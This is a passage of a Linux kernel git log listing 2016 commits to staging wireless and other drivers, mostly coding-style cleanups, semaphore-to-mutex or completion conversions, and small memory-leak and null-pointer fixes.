drivers/staging/rts5208/ms.h | 1 - drivers/staging/rts5208/rtsx.c | 7 ------- drivers/staging/rts5208/rtsx.h | 2 +- drivers/staging/rts5208/rtsx_card.c | 1 - drivers/staging/rts5208/rtsx_chip.h | 6 ------ drivers/staging/rts5208/rtsx_scsi.c | 4 ---- drivers/staging/rts5208/rtsx_transport.h | 1 - drivers/staging/rts5208/sd.c | 4 ---- drivers/staging/rts5208/spi.h | 1 - drivers/staging/rts5208/xd.c | 4 ---- 11 files changed, 1 insertion(+), 41 deletions(-) commit 22274c15e2be896e7ed166e609b383393e7cc18c Author: Shiva Kerdel Date: Fri Aug 5 22:14:41 2016 +0200 Staging: rtl8723au: rtw_ieee80211: Fixed operators spacing style issues Fixed spaces around operators to fix their coding style issues. Signed-off-by: Shiva Kerdel Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8723au/core/rtw_ieee80211.c | 80 +++++++++++++------------- 1 file changed, 40 insertions(+), 40 deletions(-) commit 9731ee897356c9077995b0c454fe19f7fa93ea5d Author: Colin Ian King Date: Thu Jul 14 11:21:28 2016 +0100 staging: rtl8723au: hal: check BT_Active and BT_State with correct bit pattern BT_Active and BT_State are being masked with 0x00ffffff so it the subsequent comparisons with 0xffffffff are therefore a buggy check. Instead, check them against 0x00ffffff. Unfortunately I couldn't find a datasheet or hardware to see if 0xffffffff is an expected invalid bit pattern that should be checked before BT_Active and BT_State are masked with 0x00ffffff, so for now, this fix seems like the least risky approach. Signed-off-by: Colin Ian King Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8723au/hal/rtl8723a_bt-coexist.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 37f144008a36bd8394ebc00ac562a1bbf426c7a5 Author: Paul Gortmaker Date: Sat Jul 2 19:48:51 2016 -0400 staging: fsl-mc: make bus/mc-bus explicitly non-modular The Kconfig currently controlling compilation of this code is: config FSL_MC_BUS bool "Freescale Management Complex (MC) bus driver" ...meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. Since the code was already not using module_init, we don't have to change the initcall and the init ordering remains unchanged with this commit. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. We don't replace module.h with init.h since the file does make some references to "struct *module" for processing other modules. Cc: "J. German Rivera" Cc: Greg Kroah-Hartman Cc: devel@driverdev.osuosl.org Signed-off-by: Paul Gortmaker Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/mc-bus.c | 21 --------------------- 1 file changed, 21 deletions(-) commit df5e9b5fbc4e68a0f0345fbc0f65e60d7440279f Author: Nipun Gupta Date: Wed Jun 29 22:44:39 2016 +0530 fsl-mc: add helper macro to determine if a device is of fsl_mc type Add a helper macro to return if a device has a bus type of fsl_mc. This makes the bus driver code more readable and provides a way for drivers like the SMMU driver to easily check the bus type. Signed-off-by: Nipun Gupta Signed-off-by: Bharat Bhushan Acked-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dprc-driver.c | 4 ++-- drivers/staging/fsl-mc/bus/irq-gic-v3-its-fsl-mc-msi.c | 2 +- drivers/staging/fsl-mc/bus/mc-allocator.c | 6 +++--- drivers/staging/fsl-mc/bus/mc-bus.c | 6 +++--- drivers/staging/fsl-mc/include/mc.h | 7 +++++++ 5 files changed, 16 insertions(+), 9 deletions(-) commit 243d38aab204bfd1c33ad6f412b654c9f7eed8cb Author: Binoy Jayan Date: Wed Jun 8 13:10:55 2016 +0530 staging: r8723au: Remove unused semaphores The semaphores xmit_sema, terminate_xmitthread_sema, tx_retevt and io_req have no users, hence remove all references to them. Semaphores are going away in the future. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8723au/core/rtw_xmit.c | 4 ---- drivers/staging/rtl8723au/include/osdep_service.h | 1 - drivers/staging/rtl8723au/include/rtw_io.h | 2 -- drivers/staging/rtl8723au/include/rtw_xmit.h | 5 ----- 4 files changed, 12 deletions(-) commit 394850666885b56e5a058f1bc1bb9983e6aba7ae Author: Binoy Jayan Date: Wed Jun 8 13:10:54 2016 +0530 staging: r8723au: pwrctrl_priv: Replace semaphore lock with mutex The semaphore 'lock' in pwrctrl_priv is a simple mutex, so it should be written as one. Semaphores are going away in the future. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8723au/core/rtw_pwrctrl.c | 11 ++++++----- drivers/staging/rtl8723au/include/rtw_pwrctrl.h | 3 ++- drivers/staging/rtl8723au/os_dep/usb_intf.c | 11 ++++++----- 3 files changed, 14 insertions(+), 11 deletions(-) commit 1335a9516d3d52f157ad87456efdd8dc9ae1747b Author: Larry Finger Date: Sun Jun 5 14:11:19 2016 -0500 staging: r8188eu: Fix scheduling while atomic splat Commit fadbe0cd5292851608e2e01b91d9295fa287b9fe ("staging: rtl8188eu: Remove rtw_zmalloc(), wrapper for kzalloc()") changed all allocation calls to be GFP_KERNEL even though the original wrapper was testing to determine if the caller was in atomic mode. Most of the mistakes were corrected with commit 33dc85c3c667209c930b2dac5ccbc2a365e06b7a ("staging: r8188eu: Fix scheduling while atomic error introduced in commit fadbe0cd"); however, two kzalloc calls were missed as the call only happens when the driver is shutting down. Fixes: fadbe0cd5292851608e2e01b91d9295fa287b9fe ("staging: rtl8188eu: Remove rtw_zmalloc(), wrapper for kzalloc()") Signed-off-by: Larry Finger Cc: navin patidar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_cmd.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bc83c4cfc2e643d7f053318f4bd2f6bae8936643 Author: Larry Finger Date: Sun Jun 5 10:20:59 2016 -0500 staging: r8188eu: Remove some false positives from kmemleak When this driver preallocates some SKBs, kmemleak is unable to find that allocated memory when it scans. When the driver is unloaded, that memory is released; therefore, the report is a false positive. Signed-off-by: Larry Finger Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188eu_recv.c | 2 ++ 1 file changed, 2 insertions(+) commit 580b4105530796b63bbbf6a093678c60144275e9 Author: Larry Finger Date: Fri Jun 3 20:17:37 2016 -0500 staging: r8712u: Handle some false positives from kmemleak When this driver preallocates some URBs, kmemleak is unable to find that allocated memory when it scans. When the driver is unloaded, that memory is reclaimed, therefore, the report is a false positive. Signed-off-by: Larry Finger Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/xmit_linux.c | 2 ++ 1 file changed, 2 insertions(+) commit 78ece0b94518816f08f4e60fae62d078aa4cb63d Author: Larry Finger Date: Fri Jun 3 20:17:36 2016 -0500 staging: r8712u: Fix leak of skb There are two types of messages queued for RX. The major type, which does I/O on the device, was being handled properly. The skbs that communicated with the firmware were being leaked. While rewriting the code that sets up the skb, it was possible to remove the private variable indicating that the old skb could be reused. Signed-off-by: Larry Finger Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/recv_linux.c | 1 - drivers/staging/rtl8712/rtl8712_recv.h | 1 - drivers/staging/rtl8712/usb_ops_linux.c | 24 ++++++++---------------- 3 files changed, 8 insertions(+), 18 deletions(-) commit 74a3b060bc29851d7caf42b9c8c3c1129fd50553 Author: Larry Finger Date: Fri Jun 3 20:17:35 2016 -0500 staging: r8712u: Check pointer before use Routine r8712_usb_read_port() dereferences "precvbuf" before testing it for NULL. Signed-off-by: Larry Finger Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/usb_ops_linux.c | 72 ++++++++++++++++----------------- 1 file changed, 34 insertions(+), 38 deletions(-) commit d25f658df2664d24b0a0af5578fd1744fa56e9aa Author: Parth Sane Date: Wed Jun 8 16:57:45 2016 +0530 staging: rtl8712: Fixed multiple parenthesis alignment warnings in ieee80211.c Multiple parenthesis alignment warnings were thrown by checkpatch in ieee80211.c This patch effectively fixes that. Signed-off-by: Parth Sane Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/ieee80211.c | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) commit af07477f594d131c8e9bda419ea3d9c38b950ee5 Author: Anuradha Weeraman Date: Mon Jun 27 13:12:16 2016 +0530 Staging: rtl8712: Fixed brace and comment style issue Fixed issues with coding style. Signed-off-by: Anuradha Weeraman Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/xmit_linux.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 7c2bb7aff9b5ef83c5b1fd3a9ef0af39bbbf1f7a Author: Binoy Jayan Date: Thu Jun 2 09:54:09 2016 +0530 rtl8712: intf_priv: Replace semaphore lock with completion The semaphore 'lock' in 'intf_priv' is used as completion, so convert it to a struct completion type. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Tested-by: Larry Finger Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/osdep_intf.h | 2 +- drivers/staging/rtl8712/usb_ops_linux.c | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) commit 204a8ac1db424d6873c450828eb837c7d4158294 Author: Binoy Jayan Date: Thu Jun 2 09:54:08 2016 +0530 rtl8712: Replace semaphore terminate_cmdthread_sema with completion The semaphore 'terminate_cmdthread_sema' is used as completion, so convert it to a struct completion type. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Tested-by: Larry Finger Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/os_intfs.c | 2 +- drivers/staging/rtl8712/rtl8712_cmd.c | 2 +- drivers/staging/rtl8712/rtl871x_cmd.c | 2 +- drivers/staging/rtl8712/rtl871x_cmd.h | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 0f89054a0f6b44bdb7fd84de7fa80fa651a6f930 Author: Binoy Jayan Date: Thu Jun 2 09:54:07 2016 +0530 rtl8712: Replace semaphore cmd_queue_sema with completion The semaphore 'cmd_queue_sema' is used as completion, so convert it to a struct completion type. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Tested-by: Larry Finger Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/os_intfs.c | 2 +- drivers/staging/rtl8712/rtl8712_cmd.c | 2 +- drivers/staging/rtl8712/rtl871x_cmd.c | 6 +++--- drivers/staging/rtl8712/rtl871x_cmd.h | 2 +- drivers/staging/rtl8712/rtl871x_pwrctrl.c | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) commit 38bee763bd6d1f77ca3d10639e9bb3f1a1a53443 Author: Binoy Jayan Date: Wed Jun 1 14:56:56 2016 +0530 rtl8192e: Replace semaphore ips_sem with mutex The semaphore 'ips_sem' in the rtl8192e is a simple mutex, so it should be written as one. Semaphores are going away in the future. Signed-off-by: Binoy Jayan Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtl8192e/rtl_cam.c | 4 ++-- drivers/staging/rtl8192e/rtl8192e/rtl_ps.c | 8 ++++---- drivers/staging/rtl8192e/rtl8192e/rtl_wx.c | 16 ++++++++-------- drivers/staging/rtl8192e/rtllib.h | 3 +-- drivers/staging/rtl8192e/rtllib_softmac.c | 2 +- 5 files changed, 16 insertions(+), 17 deletions(-) commit be10ceea4f0920975df35c23d50f8eed157ef72b Author: Binoy Jayan Date: Wed Jun 1 14:56:55 2016 +0530 rtl8192e: Replace semaphore scan_sem with mutex The semaphore 'scan_sem' in the rtl8192e is a simple mutex, so it should be written as one. Semaphores are going away in the future. Signed-off-by: Binoy Jayan Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtllib.h | 2 +- drivers/staging/rtl8192e/rtllib_softmac.c | 16 ++++++++-------- 2 files changed, 9 insertions(+), 9 deletions(-) commit 5333496cb01ab216ba638976846531344bc3c4b9 Author: Binoy Jayan Date: Wed Jun 1 14:56:54 2016 +0530 rtl8192e: Replace semaphore rf_sem with mutex The semaphore 'rf_sem' in the rtl8192e is a simple mutex, so it should be written as one. Semaphores are going away in the future. Signed-off-by: Binoy Jayan Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtl8192e/r8192E_phy.c | 4 ++-- drivers/staging/rtl8192e/rtl8192e/rtl_core.c | 2 +- drivers/staging/rtl8192e/rtl8192e/rtl_core.h | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit 3044975feddfa0dfa4325610fbd822f473366d8a Author: Binoy Jayan Date: Wed Jun 1 14:56:53 2016 +0530 rtl8192e: r8192_priv: Replace semaphore wx_sem with mutex The semaphore 'wx_sem' in the r8192_priv is a simple mutex, so it should be written as one. Semaphores are going away in the future. Signed-off-by: Binoy Jayan Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtl8192e/rtl_core.c | 28 ++++---- drivers/staging/rtl8192e/rtl8192e/rtl_core.h | 2 +- drivers/staging/rtl8192e/rtl8192e/rtl_wx.c | 104 +++++++++++++-------------- 3 files changed, 67 insertions(+), 67 deletions(-) commit 9afa937047b5c3dca3ed0bb6361eac06073c3efa Author: Binoy Jayan Date: Wed Jun 1 14:56:52 2016 +0530 rtl8192e: rtllib_device: Replace semaphore wx_sem with mutex The semaphore 'wx_sem' in the rtllib_device is a simple mutex, so it should be written as one. Semaphores are going away in the future. Signed-off-by: Binoy Jayan Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtl8192e/rtl_core.c | 4 +-- drivers/staging/rtl8192e/rtllib.h | 5 ++-- drivers/staging/rtl8192e/rtllib_softmac.c | 40 ++++++++++++++-------------- drivers/staging/rtl8192e/rtllib_softmac_wx.c | 34 +++++++++++------------ drivers/staging/rtl8192e/rtllib_wx.c | 10 +++---- 5 files changed, 46 insertions(+), 47 deletions(-) commit fd181f7d5a53eb73ba7276d95ecdaff9605d63c2 Author: Arnd Bergmann Date: Wed Jul 20 17:26:06 2016 +0200 staging/rtl8192e: avoid comparing unsigned type >= 0 There is one remaining warning about a type limit check in rtl8192e: staging/rtl8192e/rtl819x_TSProc.c:326:14: error: comparison is always true due to limited range of data type [-Werror=type-limits] This changes a macro into a local function to clarify the types and simplify the check while removing the warning. Signed-off-by: Arnd Bergmann Acked-by: Jes Sorensen Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtl819x_Qos.h | 3 --- drivers/staging/rtl8192e/rtl819x_TSProc.c | 5 +++++ 2 files changed, 5 insertions(+), 3 deletions(-) commit 5d5fd353740ffe30bfb2797bc8534d7f95871c93 Author: Arnd Bergmann Date: Wed Jul 20 17:26:05 2016 +0200 staging/rtl8192e: use s8 instead of char Compiling the rtlwifi drivers for ARM with gcc -Wextra warns about lots of incorrect code that results from 'char' being unsigned here, e.g. staging/rtl8192e/rtl8192e/r8192E_phy.c:1072:36: error: comparison is always false due to limited range of data type [-Werror=type-limits] staging/rtl8192e/rtl8192e/r8192E_phy.c:1104:36: error: comparison is always false due to limited range of data type [-Werror=type-limits] staging/rtl8192e/rtl8192e/rtl_core.c:1987:16: error: comparison is always false due to limited range of data type [-Werror=type-limits] staging/rtl8192e/rtl8192e/rtl_dm.c:782:37: error: comparison is always false due to limited range of data type [-Werror=type-limits] staging/rtl8192e/rtllib_softmac_wx.c:465:16: error: comparison is always false due to limited range of data type [-Werror=type-limits] This patch changes all uses of 'char' in this driver that refer to 8-bit integers to use 's8' instead, which is signed on all architectures. Signed-off-by: Arnd Bergmann Acked-by: Jes Sorensen Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtl8192e/r8192E_dev.c | 8 ++++---- drivers/staging/rtl8192e/rtl8192e/r8192E_phy.c | 2 +- drivers/staging/rtl8192e/rtl8192e/rtl_core.c | 6 +++--- drivers/staging/rtl8192e/rtl8192e/rtl_core.h | 8 ++++---- 4 files changed, 12 insertions(+), 12 deletions(-) commit f352a9eeb15e696cbfc470a26e1cc9d44b4df092 Author: Arnd Bergmann Date: Wed Jul 20 17:13:58 2016 +0200 staging/rtl8192u: use s8 instead of char Compiling the rtlwifi drivers for ARM with gcc -Wextra warns about lots of incorrect code that results from 'char' being unsigned here, e.g. staging/rtl8192u/r8192U_core.c:4150:16: error: comparison is always false due to limited range of data type [-Werror=type-limits] staging/rtl8192u/r8192U_dm.c:646:50: error: comparison is always false due to limited range of data type [-Werror=type-limits] This patch changes all uses of 'char' in this driver that refer to 8-bit integers to use 's8' instead, which is signed on all architectures. Signed-off-by: Arnd Bergmann Acked-by: Jes Sorensen Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192u/ieee80211/ieee80211.h | 4 ++-- drivers/staging/rtl8192u/r8192U.h | 4 ++-- drivers/staging/rtl8192u/r8192U_core.c | 14 +++++++------- 3 files changed, 11 insertions(+), 11 deletions(-) commit a0693e22d1a300a950f35edea6039fa0cf441414 Author: Ivan Safonov Date: Mon Jun 20 12:29:30 2016 +0700 staging: rtl8188eu: remove _EFUSE_DEF_TYPE enum This enumeration does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_efuse.h | 10 ---------- 1 file changed, 10 deletions(-) commit 9de204cd59d597c558443afebef937a081a512ca Author: Ivan Safonov Date: Mon Jun 20 12:29:02 2016 +0700 staging: rtl8188eu: remove EFUSE_GetEfuseDefinition function This function does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_efuse.c | 63 --------------------------- drivers/staging/rtl8188eu/include/rtw_efuse.h | 2 - 2 files changed, 65 deletions(-) commit 054bf87c90e75a0187fbb08e6c9b281286e7a039 Author: Ivan Safonov Date: Mon Jun 20 12:28:43 2016 +0700 staging: rtl8188eu: replace EFUSE_GetEfuseDefinition(..., TYPE_AVAILABLE_EFUSE_BYTES_BANK, &a) call with a = (EFUSE_REAL_CONTENT_LEN_88E - EFUSE_OOB_PROTECT_BYTES_88E) This makes the code easier to read. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_efuse.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit f573fed71213aec86c0b8ef6941a45a5e9dee7f1 Author: Ivan Safonov Date: Mon Jun 20 12:28:20 2016 +0700 staging: rtl8188eu: replace EFUSE_GetEfuseDefinition(..., TYPE_EFUSE_MAX_SECTION, &a) with a = EFUSE_MAX_SECTION_88E This makes the code easier to read. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_efuse.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 28d040fb7243926a1e485dc5f6dee1a2ea8cb6ab Author: Ivan Safonov Date: Mon Jun 20 12:27:37 2016 +0700 staging: rtl8188eu: remove efuse_max variable in hal_EfusePartialWriteCheck This variable does not used after assigning value. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_efuse.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 0cdec5a4508398870b5c361a0aa993ee7fcd572c Author: Ivan Safonov Date: Mon Jun 20 12:26:51 2016 +0700 staging: rtl8188eu: replace EFUSE_GetEfuseDefinition(..., TYPE_EFUSE_MAP_LEN, ...) call with it's result (EFUSE_MAP_LEN_88E) This makes the code easier to read. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_efuse.c | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) commit 7fbf8f73edb147d9ce35f2f077a59c3283d5d6c2 Author: Binoy Jayan Date: Mon Jun 6 10:08:07 2016 +0530 rtl8188eu: Remove unused semaphores The semaphores xmit_sema, terminate_xmitthread_sema and tx_retevt have no users, hence remove all references to them. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_xmit.c | 4 ---- drivers/staging/rtl8188eu/include/osdep_service.h | 1 - drivers/staging/rtl8188eu/include/rtw_event.h | 1 - drivers/staging/rtl8188eu/include/rtw_xmit.h | 3 --- 4 files changed, 9 deletions(-) commit f18c566e4e1b9c95367d4f997c3c2d51a3559395 Author: Binoy Jayan Date: Mon Jun 6 10:08:06 2016 +0530 rtl8188eu: pwrctrl_priv: Replace semaphore 'lock' with mutex The semaphore 'lock' in pwrctrl_priv is a simple mutex, so it should be written as one. Semaphores are going away in the future. _enter_pwrlock was using down_interruptible(), so the lock could be broken by sending a signal. This could be a bug, because nothing checks the return code here. Hence, using mutex_lock instead of the interruptible version. Also, remove the now unused wrappers _init_pwrlock, _enter_pwrlock, _exit_pwrlock and _rtw_down_sema. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_pwrctrl.c | 20 ++++++++++---------- drivers/staging/rtl8188eu/include/osdep_service.h | 3 +-- drivers/staging/rtl8188eu/include/rtw_event.h | 1 + drivers/staging/rtl8188eu/include/rtw_pwrctrl.h | 17 +---------------- drivers/staging/rtl8188eu/os_dep/osdep_service.c | 7 ------- drivers/staging/rtl8188eu/os_dep/usb_intf.c | 8 ++++---- 6 files changed, 17 insertions(+), 39 deletions(-) commit 16677cca770d659434aaa860f12d418b68adac31 Author: Binoy Jayan Date: Mon Jun 6 10:08:05 2016 +0530 rtl8188eu: Replace semaphore terminate_cmdthread_sema with completion The semaphore 'terminate_cmdthread_sema' is used as completion, so convert it to struct completion. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_cmd.c | 6 +++--- drivers/staging/rtl8188eu/include/rtw_cmd.h | 2 +- drivers/staging/rtl8188eu/os_dep/os_intfs.c | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) commit c84f5e2872c93fb78d3eb931a113cda42275ceae Author: Binoy Jayan Date: Mon Jun 6 10:08:04 2016 +0530 rtl8188eu: Replace semaphore cmd_queue_sema with completion The semaphore 'cmd_queue_sema' is used as completion, so convert it to struct completion. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_cmd.c | 6 +++--- drivers/staging/rtl8188eu/include/rtw_cmd.h | 2 +- drivers/staging/rtl8188eu/os_dep/os_intfs.c | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) commit 95d2a324660ac46420b64481507dcedab7341dad Author: Colin Ian King Date: Mon Aug 15 15:45:04 2016 +0100 staging: ks7010: don't print skb->dev->name if skb is null A null pointer dereference will occur when skb is null and skb->dev->name is printed. Replace the skb->dev->name with plain text "ks_wlan" to fix this. Signed-off-by: Colin Ian King Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 9afe11e956766eaac4643adaaf49f223dd536c92 Author: Nicholas Mc Guire Date: Mon Jul 25 21:22:27 2016 +0200 staging: ks7010: declare private functions static Private functions in ks_hostif.c can be declared static. Fixes: 13a9930d15b4 ("staging: ks7010: add driver from Nanonote extra-repository") Signed-off-by: Nicholas Mc Guire Reviewed-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9d29f14db1095f52ca00b8162b242d6fce07d19f Author: Nicholas Mc Guire Date: Mon Jul 25 21:21:50 2016 +0200 staging: ks7010: fix wait_for_completion_interruptible_timeout return handling wait_for_completion_interruptible_timeout return 0 on timeout and -ERESTARTSYS if interrupted. The check for !wait_for_completion_interruptible_timeout() would report an interrupt as timeout. Further, while HZ/50 will work most of the time it could fail for HZ < 50, so this is switched to msecs_to_jiffies(20). Fixes: 13a9930d15b4 ("staging: ks7010: add driver from Nanonote extra-repository") Signed-off-by: Nicholas Mc Guire Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit bda457d42771e790c2f9be0b483f749b1f22eb2c Author: Anson Jacob Date: Fri Jul 8 21:33:08 2016 -0400 staging: vt6655: power.c: Fix checkpatch warning Fix checkpatch.pl warning for trailing */ on a separate line Remove '+' postfix and '-' prefix from the start and end of block comments Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/power.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 9877f9de5046309dd96af18585dbcfac4f4ab440 Author: Anson Jacob Date: Fri Jul 8 21:27:05 2016 -0400 staging: vt6655: Fix checkpatch warning Fix warning by checkpatch.pl Add * for block comments on subsequent lines Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/device_main.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit dd19b918f7b143ea4cf3c4fccd83be06cbc6122f Author: Anson Jacob Date: Fri Jul 8 18:22:37 2016 -0400 staging: vt6655: channel.c: Fix block comments usage warning by checkpatch.pl This patch fixes the following checkpatch.pl warnings: WARNING: Block comments use * on subsequent lines + /* TX_PE will reserve 3 us for MAX2829 A mode only, + it is for better TX throughput */ WARNING: Block comments use a trailing */ on a separate line + it is for better TX throughput */ Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/channel.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 555d7a3ada1355981b897c159d7a2737863e876b Author: Rithvik Patibandla Date: Mon Jun 27 20:22:04 2016 +0530 staging:vt6656:dpc.h:fix parantheses alignment The following patch fixes "Alignment should match open parantheses" check thrown by checkpatch.pl Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/dpc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0da18e48390bc84f6592efd8134c37a4e1f81d4f Author: Rithvik Patibandla Date: Mon Jun 27 19:26:55 2016 +0530 staging:vt6656:dpc.c:Fix spaces The following patch fixes two checks thrown by checkpatch.pl, "Spaces preferred around '+'" and "No space is necessary after a cast" Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/dpc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 87c3caa2e2b184264581589345a2611b337c1e85 Author: Rithvik Patibandla Date: Mon Jun 27 19:21:28 2016 +0530 staging:vt6656:dpc.c:Fix parantheses alignment This patch fixes "Alignment should match open parantheses" check thrown by checkpatch.pl Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/dpc.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 1322739849a885fdf6733d85fd130996cdd586be Author: Rithvik Patibandla Date: Fri Jun 17 12:25:42 2016 +0530 staging:vt6656:baseband.h: Fix alignment issue Fix "Alignment should match open paranthesis" check thrown by checkpatch.pl Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/baseband.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e7c856556aecea8fb560709fcdc3c188872ab474 Author: Rithvik Patibandla Date: Fri Jun 17 09:26:47 2016 +0530 staging:vt6656:card.c: fix camel case issue Fix "Avoid camel case" issue thrown by checkpatch.pl Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/card.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 6d898d6958bbe7bdc17192f1d825b0a0e55dc748 Author: Rithvik Patibandla Date: Fri Jun 17 09:23:42 2016 +0530 staging:vt6656:card.c: fix blank line issue Fix "Please use a blank line after function declaration" check thrown by checkpatch.pl Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/card.c | 1 + 1 file changed, 1 insertion(+) commit 7b25c75e55979e4cd3381734719cfc1e62543f05 Author: Rithvik Patibandla Date: Fri Jun 17 09:21:28 2016 +0530 staging:vt6656:card.c: fix blank lines issue Fix "Blank lines aren't necessary after an open brace" check thrown by checkpatch.pl Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/card.c | 5 ----- 1 file changed, 5 deletions(-) commit a9f47a456ae56c82d6259631c55d32d8b99ca512 Author: Rithvik Patibandla Date: Fri Jun 17 09:57:31 2016 +0530 staging:vt6656:card.c:fix alignment checks Fix "Alignment should match with open paranthesis" check thrown by checkpatch.pl Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/card.c | 60 +++++++++++++++++++++---------------------- 1 file changed, 30 insertions(+), 30 deletions(-) commit b01a5d716053cbc48d255c3b3815d360cc2f3592 Author: Rithvik Patibandla Date: Sun Jun 12 01:38:58 2016 +0530 staging:vt6656:card.c:Fix comment block issue Fix "Block comments use * on subsequent lines" and "Block comments use */ on trailing lines" warnings thrown by checkpatch.pl Signed-off-by: Rithvik Patibandla Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/card.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2d17105ed5cde0932f08a80052e756cff217e6a0 Author: Edward Lipinsky Date: Sat Jul 23 11:57:25 2016 -0700 staging: sm750fb: Fix block comment style This patch fixes the checkpatch.pl warning: WARNING: Block comments use * on subsequent lines Signed-off-by: Edward Lipinsky Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_dvi.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit ec48944786719d8b475a2ab9155c6a3d82d30e48 Author: Stefan Wolz Date: Thu Jun 23 14:00:13 2016 +0200 sm750fb/sm750_hw.c: split assignment & long 